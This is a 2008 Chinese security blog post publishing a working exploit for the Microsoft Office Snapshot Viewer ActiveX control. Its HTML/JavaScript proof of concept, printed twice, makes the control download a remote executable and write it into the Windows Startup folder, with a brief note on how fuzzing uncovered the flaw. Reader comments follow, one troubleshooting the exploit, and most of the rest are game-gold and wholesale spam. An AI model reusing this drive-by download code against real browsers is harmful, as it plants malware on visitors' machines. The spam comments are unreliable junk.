[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit
by cloie
2008-07-08
http://www.ph4nt0m.org
今天有人发了个Snapshot Viewer的ADV，结合CERT那篇dranzer.pdf，重现漏洞
EXP:
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
Fuzzing时一般是对单个Property和单个Method()做FUZZ，这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的，再测试其他Property。由于此ActiveX的Property和Method都非常少，很快可以 FUZZ完
7 评论:
Thank you for sharing.
i've tested the exploit code on test box. but, i've found something strange.
it's not equal between a file at buf1 and a file at buf2. i think the file at buf1 is downloaded to a path refered to buf2. however, a process of download was NOT actually completed.
so, downloaded executable file was not executed normaly.
do you know what's wrong? plz let me know..
Maybe your machine don't have this activex control.
wow goldwow gold wow gold Age of Conan gold cheap wow gold are all in gamelee.
ssqtworld of warcraft goldbuy wow goldcheap wow goldwow power levelingwow powerlevelingwow levelingworld of warcraft goldbuy wow goldcheap wow goldwow power levelingwow powerlevelingbuy wow goldcheap wow goldwow power levelingwow powerlevelingrunescape goldrunescape moneyEverQuest 2 goldeq2 platEverQuest 2 goldeq2 platMaple Story Mesosmaplestory MesosMaple Story mesomaplestory mesoFinal Fantasy XI gilffxi gilLOTRO GoldLOTR Goldlord of the ring goldAge of Conan gold age of conan power leveling aoc power leveling aoc leveling Granado Espada VisGranado Espada goldGE moneydofus kamaskamas dofusrunescape goldrunescape moneyflyff penyabuy flyff goldflyff moneyEverQuest platbuy eq goldEverQuest goldeq plateq goldaoc goldAge of Conan goldage of conan power levelingfinal fantasy xi gilffxi gildofus kamaskamas dofuseve online iskeve iskLOTRO GoldLOTR Goldlord of the ring goldsilkroad goldbuy silkroad goldAge of Conan gold aoc gold age of conan power leveling buy ffxi gil buy ffxi gil buy ffxi gil age conan gold age conan gold age conan gold wholesale china wholesale discount MP3 player MP4 player mp4 watches psp accessories wedding dresses wedding dress wholesale digital cameras wholesale clothing wholesale furniture
maple story mesosmaplestory mesosmaple story mesoffxi gilwow levelingwow power levelingwow powerlevelingwow goldwow power levelingwow powerlevelinghero online goldimvu creditskal geonknight goldlast chaos goldlineage adenalineage 2 adenalord of the rings goldlotro goldlotr goldmaple story mesosmaplestory mesosmaplestory mesoperfect world goldpirates of the burning Sea gold buy ffxi gil age conan gold
If you are cheap wow gold trying any unknown cheats to earn gold, you would cheapest wow gold face some problem and your account will be black out. So don't try to wow gold find cheats instead try to world of warcraft gold sale follow the guideline of world of warcraft. These tips could Cheap Wow Goldwork as gold cheat and can help a lot to earn gold and money. World of Warcraft is the most exiting online game and while Playing the game most of the players struggle wow power leveling to earn a lot of gold.
Most of the players World Of Warcraft Goldtry search cheat code for this game to earn gold. This wow gold cheaparticle will help Wow Goldyou a lot to earn more and more gold.The best way to earn gold in this online game is by going through the guidelines wow gold for saleand other information about itemchannel.comthe game that are available on the internet .
Charlestoncheap columbia jackets. turned a pair of double plays to do the trick. spyder jacketsThe had at least one runner on in every inning but the first and outhit the RiverDogs by a 12-6 margin Lawal should be a focal point of the Yellow cheap polo shirts along with highly touted newcomer, 6-9 Derrick Favors, rated as the No. 1 power forward on the ESPNU 100. The Yellow Jackets
Cheap Brand Jeans ShopMen Jeans - True Religion Jeans, Women JeansGUCCI Jeans, Levi's Jeans, D&G Jeans, RED MONKEY Jeans, Cheap JeansArmani Jeans, Diesel Jeans, Ed hardy Jeans, Evisu Jeans, Jack&Jones Jeans...
发表评论